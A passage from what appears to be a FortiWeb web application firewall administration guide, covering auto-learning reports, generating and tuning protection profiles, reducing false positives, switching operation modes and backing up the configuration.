Max hits per second	638	

Setting name	Description

Edit Protected Servers	Click to open a dialog where you can select or deselect IP addresses and/or domain names that will be members of the protected hosts group for the generated profile.

This button appears only when you select the policy in the navigation pane.

Edit URL Page	Click to open a dialog where you can specify that the currently selected URL will be allowed, and whether it will be regarded as a start page for the generated profile. You can also select which action to take if there is a rule violation:

- **Alert & Deny** — Block the request (reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See [“Uploading a custom error page” on page 454](#) or [Error Message](#).
- **Continue** — Generate an alert and/or log message, then continue by evaluating any subsequent rules defined in the web protection profile (see [“Sequence of scans” on page 21](#)). If no other rules are violated, allow the request. If multiple rules are violated, a single request will generate multiple attack log messages and/or alert email.
- **Pass** — Allow the request. Do **not** generate an alert email and/or log message.

This button appears only when you select a URL in the navigation pane.

Setting name	Description
Hits Count	Click the link to go to the Visits tab . This row appears in the <i>Item</i> column of the <i>Overview</i> table.
Attack Count	Click the link to go to the Attacks tab . This row appears in the <i>Item</i> column of the <i>Overview</i> table.


Attacks tab

The *Attacks* tab provides statistics in both tabular and graphical format on HTTP sessions that contained one of the types of attacks that the web protection profile was configured to detect.



Sometimes, auto-learning reports may contain fewer attacks than you see in the FortiWeb appliance's attack logs. For details, see [“About the attack count” on page 189](#).

Figure 24:Auto-learning report *Attacks* tab



Depending on the level of the item selected in the navigation pane, the *Action* and *Enable* columns may appear. Using these settings, you can override the FortiWeb's statistically suggested attack protection settings.

To display a pop-up list of an attack type's protection profile settings estimated from current auto-learning data, click the *Detail* icon. The dialog that appears may vary by the attack type. You can use it to manually override the estimated settings.

To override configuration suggested by auto-learning for a specific attack type

1. From the drop-down list in the *Type* column, select either:

- *Recommended* — Do **not** override the suggestion. FortiWeb automatically estimates whether enabling or disabling scans for each attack signature is appropriate, based upon auto-learning data. When you generate a protection profile, FortiWeb will use whichever setting is indicated by the current auto-learning data.
- *Custom* — Override the suggestion. When you generate a protection profile, FortiWeb will use the setting indicated by you, not the current auto-learning data.

2. If you selected *Custom* from *Type*, from each drop-down list in the *Custom* column, select one of these options:
 - *On* — Manually override the suggestion. In step 3, select which attack prevention signatures to enable. (Non-selected signatures will be disabled.)
 - *Off* — Manually override the suggestion, and disable all attack prevention signatures for this type.



If the URL is not susceptible to a specific type of attack, select *Off* to improve performance.

Figure 25:Auto-learning report *Attacks* tab — Manually enabling attack signatures

Refresh Generate Config Generate PDF

Overview Attacks Visits

Attack Table

Name	Count	Percentage	Detail	Action	Type	Custom	Recommendation
Cross Site Scripting	1	4.5%		Alert & Deny	Recommended	On	On
Cross Site Scripting (Extended)	1	4.5%		Alert & Deny	Custom	Off	On
SQL Injection						On	On
SQL Injection (Extended)						On	On
Generic Attacks	020000063	1	100.0%			On	On
Generic Attacks(Extended)						On	On
Trojans						On	On
Information Disclosure						On	On
Known Exploits						On	On
Credit Card Detection						On	On

Edit Cross Site Scripting (Extended) Protection

Signature ID	Count	Percentage	Status	Recommendation
020000063	1	100.0%	☒	On

3. In the row for each attack type where you have set the drop-down list to *Custom*, click the *Detail* icon.

A dialog appears which lists the individual attack signatures for that attack category.

4. For each signature that you want to manually enable, mark its *Status* check box.



You **must** mark the *Status* check box of every signature that you want to enable. Failure to select any signatures will effectively disable attack prevention, even though you have selected *On* from the *Enable* drop-down lists for the attack category.

5. Click *OK*.

6. From each drop-down list in the *Action* column, select one of the following options:
- *Alert* — Accept the request and generate an alert email and/or log message.
 - *Alert & Deny* — Block the request (or reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See [“Uploading a custom error page” on page 454](#) or [Error Message](#).
 - *Send 403 Forbidden* — Reply to the client with an HTTP 403 `Forbidden` error message and generate an alert and/or log message.
 - *Redirect* — Redirect the request to the URL that you specify in the protection profile and generate an alert email and/or log message. Also configure [Redirect URL](#) and [Redirect URL With Reason](#).
 - *Period Block* — Block subsequent requests from the client for a number of seconds. Also configure [Block Period](#). See also [“Monitoring currently blocked IPs” on page 591](#).
You can customize the web page that will be returned to the client with the HTTP status code. See [“Uploading a custom error page” on page 454](#) or [Error Message](#).



If FortiWeb is deployed behind a NAT load balancer, when using *Period Block*, you **must** also define an X-header that indicates the original client's IP (see [“Defining your proxies, clients, & X-headers” on page 256](#)). Failure to do so may cause FortiWeb to block **all** connections when it detects a violation of this type.

About the attack count

Sometimes, auto-learning reports may contain fewer attacks than you see in the FortiWeb appliance's attack logs. Possible causes include:

- The attack was attempted, but was targeted towards a URL that did not actually exist on the server (that is, it resulted in an HTTP 404 `File Not Found` reply code). Because the URL did not exist, the auto-learning report does **not** include it in its tree of requested URLs. In other words, the attack was not counted in the report because it did not result in an actual page hit.
- The attack was attempted, and the URL existed, but the FortiWeb appliance was configured to block the attack (*Alert & Deny*), resulting in an unsuccessful request attempt. Unsuccessful requests do not result in an actual page hit and have incomplete session data, and therefore are not included in auto-learning reports.


To ensure that auto-learning reports have complete session data, you should log but **not** block or sanitize attack attempts while gathering auto-learning data (that is, either enable [Monitor Mode](#) or select *Alert* as the *Action* for all attacks).

Visits tab

The *Visits* tab provides statistics in both tabular and graphical format on the HTTP request methods used. The content of the tab and its display styles vary with the level of the item selected in the navigation pane: some statistics are displayed as a pie chart, others a bar chart, and others as both. When you select a **policy** in the navigation pane, this tab includes a set of bar charts that give statistics about the most used and least used URLs, plus suspicious URLs. When you select a **host** in the navigation pane, the report includes a set of tables that give statistics on HTTP return codes in the 400 and 500 series.

The *Visits* tab includes several buttons that you can use to manually fine-tune the profile that auto-learning will generate from its statistics. (Look for the buttons at the top, midpoint, and bottom of the page, just above each chart.)

Table 33: Auto-learning report *Visits* tab (image truncated)



Setting name	Description
Edit Allow Method	Click this button to open a dialog where you can select which HTTP request methods to allow in the generated profile. Then in the <i>Status</i> drop-down list, select either: • On — Manually override the suggestion, and enable the method. • Off — Manually override the suggestion, and disable the method. • Default — Do not override the suggestion. FortiWeb automatically estimates whether enabling or disabling the HTTP method is appropriate, based upon auto-learning data. When you generate a protection profile, FortiWeb will use whichever setting is indicated by the current auto-learning data. This button appears only when you select a policy in the navigation pane.
Edit Exception Method	Click this button to open a dialog where you can select which HTTP request methods are exceptions to the ones allowed by the generated profile. Then in the <i>Status</i> drop-down list, select either: • On — Manually override the suggestion, and enable the method. • Off — Manually override the suggestion, and disable the method. • Default — Do not override the suggestion. FortiWeb automatically estimates whether enabling or disabling the HTTP method is appropriate, based upon auto-learning data. When you generate a protection profile, FortiWeb will use whichever setting is indicated by the current auto-learning data. This button appears only when you select an individual URL in the navigation pane.
Edit URL Access (In the <i>Most hit URL table and chart</i> section)	Click this button to open a dialog where you can select which pages will be included in a URL access rule whose <i>Action</i> is <i>Pass</i> (i.e. allow the request and do not generate an attack log message). To include the URL, click and drag it from the column named <i>Available</i> on the right into the column on the left, named <i>URL Access rules with action 'Pass'</i>. Essentially, auto-learning's assumption in this case is that most page hits are legitimate, so that URLs that are frequently hit should be normally accessible. This button appears only when you select the policy in the navigation pane.
Edit Start Page	Click this button to open a dialog where you can select which pages will be included in a URL access rule whose <i>Action</i> is <i>Pass</i> (i.e. allow the request and do not generate an attack log message). To include the URL, click and drag it from the column named <i>Available</i> on the right into the column on the left, named <i>URL Access rules with action 'Pass'</i>. This button appears only when you select the policy in the navigation pane.

Setting name	Description
Edit URL Access (In the <i>Least hit URL table and chart</i> section)	Click this button to open a dialog where you can select which pages will be included in a URL access rule whose <i>Action</i> is <i>Alert & Deny</i> (i.e. block the request and generate an alert email and/or attack log message). To include the URL, click and drag it from the column named <i>Available</i> on the right into the column on the left, named <i>URL Access rules with action 'Alert & Deny'</i>. Essentially, auto-learning's assumption in this case is that most page hits are legitimate, so that URLs that are not frequently hit possibly could be a back door or other hidden URL, and therefore should not be accessible. This button appears only when you select the policy in the navigation pane.
Edit URL Access (In the <i>Suspicious URL table and chart</i> section)	Click this button to open a dialog where you can select which pages will be included in a URL access rule whose <i>Action</i> is <i>Alert & Deny</i> (i.e. block the request and generate an alert email and/or attack log message). To include the URL, click and drag it from the column named <i>Available</i> on the right into the column on the left, named <i>URL Access rules with action 'Alert & Deny'</i>. Essentially, auto-learning's assumption in this case is that administrative URLs should not be accessible to the general public on the Internet, so that requests for these URLs could be a potential attack or scouting attempt, and should be blocked. This button appears only when you select the policy in the navigation pane.

Parameters tab

The *Parameters* tab provides tabular statistics on the parameters and their values as they appeared in HTTP requests, as well as any parameters that were extracted from within the URL by a URL interpreter.

Figure 26:Auto-learning report *Parameter* tab

Refresh

Generate Config

Generate PDF

Overview

Attacks

Visits

Parameters

Cookies

Parameter Table

Name	Type	Type Match	Min. Length	Max. Length	Avg. Length	Required	Set	Custom
return	Unknown	100%	40	40	40	50%		
username	Email	100%	22	22	22	100%		
password	Level 1 Password	100%	8	8	8	100%		

<< < 1 > >>

Parameters from URL Replacers

Name	Type	Type Match	Min. Length	Max. Length	Avg. Length	Required

This tab appears only for items that are leaf nodes in the navigation tree; that is, they represent a **single complete URL** as it appeared in a real HTTP request, and therefore could have had those **exact associated parameters**.

The *Name* column contains the name of the parameter, exactly as it was observed in the parameter or (for parameters extracted by URL replacers) within the URL.



If the *Name* column contains part of a URL or the parameter's value instead of its name, verify the regular expression and back references used in your URL replacer.

Percentages in the *Type Match* and *Required* columns indicate how likely the parameter with that name is of that exact data type, and whether or not the web application requires that input for that URL. The *Min. Length* and *Max. Length* columns indicate the likely valid range of length for that input's value. The *Avg. Length* column indicates the average length for that input's value. Together, the columns provide information on what is likely the correct configuration of a profile for that URL.

For example, if *Max. Length* is 255 but *Min. Length* is 63 and *Avg. Length* is 64, before generating a protection profile, you may want to investigate to determine whether 255 is indeed an appropriate maximum input length, since it deviates so much from the norm. In this case, the intended minimum and maximum length might really be 63, but a single malicious observed input had a maximum length of 255.

By default, when you generate a protection profile from auto-learning data, FortiWeb will use these statistics to estimate appropriate input rules. However, if auto-learning suggestions are not appropriate, you can manually override these estimates by using the [Set](#) icon and [Custom](#) check box before generating a protection profile. For details, see [“To configure a profile using auto-learning data” on page 194](#).

Cookies tab

The *Cookies* tab provides tabular statistics on the name, value, expiry date, and associated URL (path) of each cookie crumb that appeared in HTTP requests.

Cookies that you see in this table can be protected by enabling [Cookie Poisoning Detection](#).

Figure 27:Auto-learning report *Cookies* tab

Refresh		Generate Config		Generate PDF	
Overview	Attacks	Visits	Parameters	Cookies	
Cookies Table					
ID	Name	Value	Expire	Path	
0	APSCOOKIE_4	0&0	Tue, 12-Dec-1961 15:34:21 GMT	/	
1	opmode	0&0	Tue, 12-Dec-1961 15:34:21 GMT	/	
2	JSESSIONID	887EC66873DB5F67BE2AFE7866FA37DB	Session	/login	
<< < 1 > >>					

This tab appears only for hosts that use cookies, and for items that are leaf nodes in the navigation tree; that is, they represent a **single complete URL** as it appeared in a real HTTP request, and therefore could have had those **exact cookies**.

See also

- [Removing old auto-learning data](#)
- [Using the report navigation pane](#)
- [Configuring an auto-learning profile](#)
- [Generating a profile from auto-learning data](#)

Generating a profile from auto-learning data

When viewing a report generated from auto-learning data, you can generate an inline protection profile or an offline protection profile suitable for the HTTP sessions observed. If some observed sessions are not indicative of typical traffic and you do not want to include elements in the generated profile, or you want to select an action other than the default for a type of observed attack, you can selectively change the action for that type of attack.

In addition to the generated profile itself, the FortiWeb appliance also generates all rules and other auxiliary configurations that the profile depends upon.

For example, if the FortiWeb appliance observed HTTP `PUT` requests with required parameters of a password and a user name that is an email address, when generating a profile, it would also generate the parameter validation rules and input rules that the profile requires, using the data types and maximum lengths of the arguments observed in the HTTP sessions.

Generated profiles and auxiliary configurations are editable. You can adjust them or use them as the basis for additional configuration.

To configure a profile using auto-learning data

1. Go to *Auto Learn > Auto Learn Report > Auto Learn Report*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Autolearn Configuration* category. For details, see ["Permissions" on page 46](#).

2. Mark the check box in the row corresponding to the auto-learning profile whose data you want to view.

3. Click *View*.

The report appears.

4. Review the configuration suggestions from auto-learning.

If you want to adjust the behavior of the profile and components that you will generate, in the left-hand pane, click the expand icon (+) next to items to expand the tree, then click the name of the single URL whose protection you want to manually configure.

The screenshot shows the FortiWeb web UI. On the left, a tree structure shows the configuration hierarchy: 'policy1' is expanded, showing '172.20.120.48' and '10.1.1.221'. Under '10.1.1.221', the '/' path is expanded, showing 'login', 'logincheck', 'index' (highlighted), 'wjj_navbar', 'menu_xlat', '~cschwartz', and 'param'. On the right, the 'Overview' tab is selected, showing a table of statistics for the selected URL.

Item	Value	More
Web Domain	10.1.1.221	
URL	/index	
Hits Count	1	4.8 % of total access
Attack Count	0	0.0 % of total attacks

Buttons and drop-down lists in the report display pane may vary. For most URLs, they enable you to adjust the profile that will be generated.


Auto-learning suggests an appropriate configuration based upon the traffic that it observed. If auto-learning has not suggested appropriately, however, you can manually override each of auto-learning's suggestions. Configure these settings:

Setting name	Description
Overview tab	
Edit Protected Servers	Click to open a pop-up dialog. Enable or disable the IP addresses and/or domain names that will be members of the generated protected servers group. For details, see “Defining your protected or allowed HTTP “Host:” header names” on page 239. This appears only if you have selected the name of the auto-learning profile in the navigation pane.
Edit URL Page	Click to open a pop-up dialog. Enable or disable whether the currently selected URL will be included in start pages and white/black IP list rules in the generated profile. This appears only if you have selected a URL in the navigation pane. For more information on those rule types, see “Specifying URLs allowed to initiate sessions” on page 405 and “Access control” on page 311.
Attacks tab	
Action and Enable	Select from the <i>Enable</i> drop-down list to enable or disable detection of each type of attack, and select from <i>Action</i> which action that the generated profile will take. The availability of these lists varies with the level of the item selected in the navigation pane. For details, see the actions in “Configuring a protection profile for inline topologies” on page 456 or “Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464.
Visits tab	
Edit Allow Method	Click to open a pop-up dialog. Change the <i>Status</i> option to select which HTTP request methods to allow in the generated profile. This appears only if you have selected a profile in the navigation pane. For details, see “Configuring a protection profile for inline topologies” on page 456 and “Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464.
Edit URL Access	Click to open a pop-up dialog. This appears only if you have selected a profile in the navigation pane. For details, see “Access control” on page 311.
Edit Start Page	Click to open a pop-up dialog. This appears only if you have selected a profile in the navigation pane. For details, see “Specifying URLs allowed to initiate sessions” on page 405.

Setting name	Description
Edit Exception Method	Click to open a pop-up dialog. This appears only if you have selected a URL in the navigation pane. For details, see “Configuring allowed method exceptions” on page 428 .
Parameters tab	
Set	Type the data type and maximum length of the parameter, and indicate whether or not the parameter is required input. These settings will appear in the generated parameter validation rule and input rules. For details, see “Configuring parameter validation (input rules)” on page 411 and “Preventing zero-day attacks” on page 411 . Caution: <i>Before</i> you leave the page, mark the <i>Custom</i> check boxes for rows where you have clicked this icon. Failure to do so will cause FortiWeb appliance to discard your settings when you leave the page.
Custom	<i>Before</i> you click Set or leave the page, enable this option for each row whose manual settings you want to save.

5. Above the display pane, click *Generate Config*.

A pop-up dialog appears.



The dialog box titled "Generate Config" contains two input fields. The first field is labeled "Profile Name:" and has a text box with the value "20110615133739" and a dash symbol to its left. The second field is labeled "Profile Type:" and has a dropdown menu with "Inline" selected. At the bottom of the dialog are two buttons: "OK" and "Cancel".

6. In *Profile Name*, type a name prefix, such as *generated-profile*.
The FortiWeb appliance adds a dash (-) to the profile name followed by a number indicating the year, month, day, and time on which the profile was generated in order to indicate the data on which the profile was based.
7. From *Profile Type*, select which type of web profile you want to generate, either *Inline* (to generate an inline protection profile) or *Offline* (to generate an offline protection profile).
8. Click *OK*.
The generated profile appears in either:
 - *Policy > Web Protection Profile > Inline Protection Profile* (see [“Configuring a protection profile for inline topologies” on page 456](#))
 - *Policy > Web Protection Profile > Offline Protection Profile* (see [“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464](#))



Adjust configuration items used by the generated profile, such as input rules, when necessary. Generated configuration items will be based upon auto-learning data current at the time that the profile is generated. ***Data may have changed while you were reviewing the auto-learning report, and/or after you have generated the profiles.***

If you do not configure any settings, by default, the FortiWeb appliance will generate a profile that allows the HTTP `GET` method and any other methods whose usage exceeded the threshold, and will add the remaining methods to an allowed method exception. It will also create start page rules and trusted IP rules for the most commonly requested URLs, and blacklist IP addresses that commonly requested suspicious URLs. Attack signatures will be disabled or exceptions added according to your configurations in [Server Protection Threshold](#) and [Server Protection Exception Threshold](#).

9. Continue with “[Transitioning out of the auto-learning phase](#)”.

Transitioning out of the auto-learning phase

As your web servers change, you may periodically want to run auto-learning for them on a smaller scale.

For example, perhaps you will install or update a web application or web server, resulting in new structures and different vulnerabilities.

However, for most day-to-day use, auto-learning should be disabled and your protection profiles fully applied.

To transition to day-to-day use

1. To apply a profile generated by auto-learning, select it in [Web Protection Profile](#) in a server policy (see “[Configuring a server policy](#)” on page 470).
2. If, during auto-learning, any *Action* in the protection profile or its auxiliary components was set to *Alert & Deny* or *Alert & Erase*, verify that those same actions are applied in the protection profile that you generated from auto-learning data. (Incomplete session data due to those actions may have caused auto-learning to be unable to detect those attack types.)
3. If necessary, either:
 - Manually adjust the generated profile and its components to suit your security policy. For more serious violations, instead of setting *Action* to *Alert*, use a blocking or redirecting option such as *Alert & Deny*.
 - Run a second auto-learning phase to refine your configuration: select the newly generated protection profile in [Web Protection Profile](#), clear the previous phase’s auto-learning data (see “[Removing old auto-learning data](#)”), then revisit “[Running auto-learning](#)”.
4. Modify the policy to select your newly generated profile in [Web Protection Profile](#).
5. To validate the configuration, test it (see “[Testing your installation](#)” on page 199.)
6. When you are done collecting auto-learning data and generating your configuration, to improve performance, **disable auto-learning by deselecting the auto-learning profile** in [WAF Auto Learn Profile](#) in **all** server policies.
7. Disable [Monitor Mode](#).

See also

- [Configuring a protection profile for inline topologies](#)
- [Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)
- [Viewing auto-learning reports](#)

Removing old auto-learning data

There are many reasons why you may want to delete old auto-learning data.

- You want to free disk space and system resources.
- You installed different web applications on your web servers, and old auto-learning data, based upon the previous installations, no longer applies.
- You initiated auto-learning while its URL replacer was misconfigured, and old auto-learning data is malstructured, such as being split between many instances of a dynamic URL, or missing parameters.

You can delete old data. Reports and any profiles generated from the auto-learning profile will then include only subsequently gathered data.

To delete auto-learning data



Alternatively, you can remove auto-learning data by, when the auto-learning profile's report is open, right-clicking the node in the left-hand pane, then selecting *Clean Data*.

1. Go to *Auto Learn > Auto Learn Report > Auto Learn Report*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Autolearn Configuration* category. For details, see ["Permissions" on page 46](#).

2. Either:
 - To select **one or more** reports, mark the check box next to them.
 - To select **all** reports, mark the check box in the check box column's heading.
3. Click *Clean Data*.

See also

- [Viewing auto-learning reports](#)
- [Pausing auto-learning for a URL](#)
- [How to adapt auto-learning to dynamic URLs & unusual parameters](#)

Testing your installation


When the configuration is complete, test it by forming connections between legitimate clients and servers at various points within your network topology.



In offline protection mode and transparent inspection mode, if your web server applies SSL and you need to support Google Chrome browsers, you must disable Diffie-Hellman key exchanges on the web server. These sessions cannot be inspected.

Examine the *HTTP Traffic Monitor* section of the *Policy Summary* widget on *System > Status > Status*. If there is no traffic, you have a problem. See [“Connectivity issues” on page 626](#).

Figure 28: HTTP Traffic Monitor section of the Policy Summary widget



If a connection fails, you can use tools included in the firmware to determine whether the problem is local to the appliance or elsewhere on the network. See [“Troubleshooting” on page 615](#). Also revisit troubleshooting recommendations included with each feature’s instructions.



If you have another FortiWeb appliance, you can use its web vulnerability scanner to verify that your policies are blocking attacks as you expect. For details, see [“Vulnerability scans” on page 492](#).

You may need to refine the configuration (see [“Expanding the initial configuration”](#)).

Once testing is complete, finish your basic setup with either [“Switching out of offline protection mode” on page 203](#) or [“Backups” on page 204](#). Your FortiWeb appliance has many additional

protection and maintenance features you can use. For details, see the other chapters in this Administration Guide.

Reducing false positives


If the dashboard indicates that you are getting dozens or hundreds of nearly identical attacks, they may actually be legitimate requests that were mistakenly identified as attacks (i.e. false positives). Many of the signatures, rules, and policies that make up protection profiles are based, at least in part, on regular expressions. If your web sites' inputs and other values are hard for you to predict, the regular expression may match some values incorrectly. If the matches are not exact, many of your initial alerts may not be real attacks or violations. They will be false positives.

Fix false positives that appear in your attack logs so that you can focus on genuine attacks.

Here are some tips:

- Examine your web protection profile (go to *Policy > Web Protection Profile* and view the settings in the applicable offline or inline protection profile). Does it include a signature set that seems to be causing alerts for valid URLs. If so, disable the signature to reduce false positives.
- If your web protection profile includes a signature set where the *Extended Signature Set* option is set to *Full*, reduce it to *Basic* to see if that reduces false positives. See [“Specifying URLs allowed to initiate sessions” on page 405](#).
- If your web protection profile includes HTTP protocol constraints that seem to be causing alerts for legitimate HTTP requests, create and use exceptions to reduce false positives. See [“Configuring HTTP protocol constraint exceptions” on page 435](#).
- Most dialog boxes that accept regular expressions include the >> (test) icon. This opens the *Regular Expression Validator* window, where you can fine-tune the expression to eliminate false positives.

Figure 29: *Regular Expression Validator* dialog

The image shows a dialog box titled "Regular Expression Validator". It has a dark header bar with the title. Below the header, there is a text input field labeled "Regular Expression (maximum 2070 characters)". Below this field is a "Test" button. At the bottom of the dialog, there are three buttons: "Validate", "OK", and "Cancel". The "Validate" button is positioned to the left of the "OK" and "Cancel" buttons.

- If you use features on the *DoS Protection* menu to guard against denial-of-service attacks, you could have false positives if you set the thresholds too low. Every client that accesses a web application generates many sessions as part of the normal process. Try adjusting some thresholds higher.
- To learn more about the behavior of regular expressions that generate alerts, enable the *Retain Packet Payload* options in the logging configuration. Packet payloads provide the actual data that triggered the alert, which may help you to fine tune your regular expressions to reduce false positives. See [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#) and [“Viewing log messages” on page 544](#).

Testing for vulnerabilities & exposure

Even if you are not a merchant, hospital, or other agency that is required by law to demonstrate compliance with basic security diligence to a regulatory body, you still may want to verify your security.

- Denial of service attacks can tarnish your reputation and jeopardize service income.
- Hacked servers can behave erratically, decreasing uptime.
- Malicious traffic can decrease performance.
- Compromised web servers can be used as a stepping stone for attacks on sensitive database servers.

To verify your configuration, start by running a vulnerability scan. See [“Vulnerability scans” on page 492](#). You may also want to schedule a penetration test on a lab environment. Based upon results, you may decide to expand or harden your FortiWeb’s initial configuration (see [“Hardening security” on page 593](#)).

Expanding the initial configuration


After your FortiWeb appliance has operated for several days without significant problems, it is a good time to adjust profiles and policies to provide additional protection and to improve performance.

- Begin monitoring the third-party cookies FortiWeb observes in traffic to your web servers. When cookies are found, an icon appears on *Policy > Server Policy > Server Policy* for each affected server. If cookies are threats, such as if they are used for state tracking or database input, consider enabling the [Cookie Poisoning Detection](#) option on the inline protection profiles for those servers.
- Add any missing rules and policies to your protection profiles, such as:
 - page access rules (see [“Enforcing page order that follows application logic” on page 401](#))
 - start page rules (see [“Specifying URLs allowed to initiate sessions” on page 405](#))
 - brute force login profiles (see [“Preventing brute force logins” on page 352](#))
 - rewriting policies (see [“Rewriting & redirecting” on page 357](#))
 - denial-of-service protection (see [“DoS prevention” on page 328](#))

Especially if you began in offline protection mode and later transitioned to another operation mode such as reverse proxy, new features may be available that were not supported in the previous operation mode.

- Examine the *Attack Event History* in the *Policy Summary* widget on *System > Status > Status*. If you have zero attacks, but you have reasonable levels of traffic, it may mean the protection profile used by your server policy is incomplete and not detecting some attack attempts.

Figure 30:Attack Event History section of the Policy Summary widget



- Examine the *Attack Log* widget on *System > Status > Status*. If the list includes many identical entries, it likely indicates false positives. If there are many entries of a different nature, it likely indicates real attacks. If there are no attack log entries but the *Attack Event History* shows attacks, it likely means you have not correctly configured logging. See [“Configuring logging” on page 532](#).

Figure 31:Attack Log Widget

Attack Log Widget	
2012-06-07 10:12:58	SQL Injection (Extended) : Signature ID 040000136
2012-06-07 10:12:58	SQL Injection (Extended) : Signature ID 040000108
2012-06-07 10:12:58	SQL Injection : Signature ID 030000108
2012-06-07 10:03:27	SQL Injection (Extended) : Signature ID 040000108
2012-06-07 10:03:27	SQL Injection : Signature ID 030000108
2012-06-07 09:57:58	filename [Auto Learn-draft.pdf]: Illegal file type
2012-06-07 09:57:58	filename [Auto Learn-draft.pdf]: Illegal file size
2012-06-06 20:47:44	Generic Attacks-Command Injection : Signature ID 050050050
2012-06-06 20:46:37	Cross Site Scripting (Extended) : Signature ID 020000063
2012-06-06 20:46:37	Cross Site Scripting : Signature ID 010000063

You can create reports to track trends that may deserve further attention. See [“Data analytics” on page 584](#), [“Vulnerability scans” on page 492](#), and [“Reports” on page 572](#).

Switching out of offline protection mode

Switch **only** if you chose offline protection mode for evaluation or transition purposes when you first set up your FortiWeb appliance, and now want to transition to a full deployment.

To switch the operation mode

1. Back up your configuration. See [“Backups” on page 204](#).



Back up your system before changing the operation mode. Changing modes deletes policies not applicable to the new mode, static routes, and V-zone IP addresses. You may also need to re-cable your network topology to suit the operation mode.

2. Disconnect all cables from the physical ports **except** the cable to your management computer.
3. Reconfigure the network interfaces with the IP addresses and routes that they will need in their new topology.
4. Re-cable your network topology to match the new mode. See [“Planning the network topology” on page 60](#).
5. Change the operation mode. See [“Setting the operation mode” on page 92](#).
6. Go to *Router > Static > Static Route*. If your static routes were erased, re-create them. See [“Adding a gateway” on page 123](#).
7. Go to *System > Network > Interface*. If your VLAN configurations were removed, re-create them. If you chose one of the transparent modes, consider creating a v-zone bridge instead of VLANs. See [“Configuring a bridge \(V-zone\)” on page 120](#).
8. Go to *Policy > Web Protection Policy > Inline Protection Profile*. Create new inline protection profiles that reference the rules and policies in each of your previous offline protection profiles. See [“Configuring a protection profile for inline topologies” on page 456](#) and [“How operation mode affects server policy behavior” on page 452](#).
9. Go to *Policy > Server Policy > Server Policy*. Edit your existing server policies to reference the new inline protection profiles instead of the offline protection profiles. See [“How operation mode affects server policy behavior” on page 452](#).
10. Watch the monitors on the dashboard to make sure traffic is flowing through your appliance in the new mode.
11. Since there are many possible configuration changes when switching modes, including additional available protections, **don't forget to retest**. Prior testing is no longer applicable.

Backups

Once you have tested your basic installation and verified that it functions correctly, create a backup. This “clean” backup can be used to:

- troubleshoot a non-functional configuration by comparing it with this functional baseline (via a tool such as [diff](#))
- rapidly restore your installation to a simple yet working point (see [“Restoring a previous configuration” on page 208](#))
- batch-configure FortiWeb appliances by editing the file in a plain text editor, then uploading the finalized configuration to multiple appliances (see [“Restoring a previous configuration” on page 208](#))

After you have a working deployment, back up the configuration again after any changes. This will ensure that you can rapidly restore your configuration exactly to its previous state if a change does not work as planned.



Alternatively or to safeguard against forgetting to create a backup, you can configure the appliance to periodically upload a backup to an FTP server. See [“To back up the configuration via the web UI to an FTP/SFTP server” on page 206](#).

Your deployment’s configuration is comprised of a few separate components. To make a **complete** configuration backup, you must include the:

- Core configuration file
- Certificates, private keys, and custom error pages
- Web protection profile database
- Vulnerability scan settings
- Web server configuration files (see the documentation for your web servers’ operating systems or your preferred third-party backup software)



Configuration backups do **not** include data such as logs and reports.

There are multiple methods that you can use to create a FortiWeb configuration backup. Use whichever one suits your needs:

- [“To back up the configuration via the web UI”](#)
- [“To back up the configuration via the web UI to an FTP/SFTP server”](#)
- [“To back up the configuration via the CLI to a TFTP server”](#)

To back up the configuration via the web UI



This method does **not** include uploaded files such as:

- private keys
- certificates
- error pages
- vulnerability scan settings

If your configuration has these files, use either a full TFTP or FTP/SFTP backup instead. See [“To back up the configuration via the web UI to an FTP/SFTP server” on page 206](#) or [“To back up the configuration via the CLI to a TFTP server” on page 207](#).

1. Log in to the web UI as the `admin` administrator.

Other administrator accounts do not have the required permissions.

2. Go to *System > Maintenance > Backup & Restore*.

The top of the page displays the date and time of the last backup. No date and time appears if the configuration was never backed up, or you restored the firmware.

System Configuration (Last Backup: -)

Backup/Restore

☒ Backup ☐ Restore

☒ Backup CLI entire configuration ☐ Backup Web Protection Profile related configuration

Encryption ☐

Password

Backup

Firmware

Partition	Active	Last Upgrade	Firmware Version
1		Mon Oct 8 15:02:07 2012	FV-VMB-4.43-FW-build0657-120929 [Upload and Reboot]
2		-	FV-VMB-4.44-FW-build0663-121029

Boot alternate firmware

Data Analytics

From File **Browse...**

Upload

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Maintenance* category. For details, see [“Permissions” on page 46](#).

3. In the *Backup/Restore* area, select *Backup*.

4. Select either:

- *Backup CLI entire configuration* — Back up the core configuration.



This is not literally the entire configuration. It only contains the core configuration file, comprised of a CLI script. It does **not** include uploaded files such as error pages and private keys, nor vulnerability scan settings. If your configuration has these files, use either a full TFTP or FTP/SFTP backup instead. See [“To back up the configuration via the web UI to an FTP/SFTP server” on page 206](#) or [“To back up the configuration via the CLI to a TFTP server” on page 207](#).

- *Backup Web Protection Profile related configuration* — Back up only the web protection profiles.

5. If you would like to password-encrypt the backup files using 128-bit AES before downloading them, enable *Encryption* and type a password in *Password*.
6. Click *Backup*.

If your browser prompts you, navigate to the folder where you want to save the configuration file. Click *Save*.

Your browser downloads the configuration file. Time required varies by the size of the configuration and the specifications of the appliance's hardware as well as the speed of your network connection, but could take several minutes.

To back up the configuration via the web UI to an FTP/SFTP server



Fortinet strongly recommends that you password-encrypt this backup, and store it in a secure location. This method includes sensitive data such as your HTTPS certificates' private keys. Unauthorized access to private keys compromises the security of all HTTPS requests using those certificates.

1. Go to *System > Maintenance > FTP Backup*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Maintenance* category. For details, see ["Permissions" on page 46](#).
2. Click *Create New*.
A dialog appears.
3. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. Configure these settings:

Edit FTP Backup

Name	backup-server
FTP Protocol	☐ FTP ☒ SFTP
FTP Server	172.16.1.25
FTP Directory	fortiweb/backups/
FTP Authentication	☒
FTP User	fortiweb
FTP Password	
Backup Type	☒ Full Config ☐ CLI Config
Encryption	☒
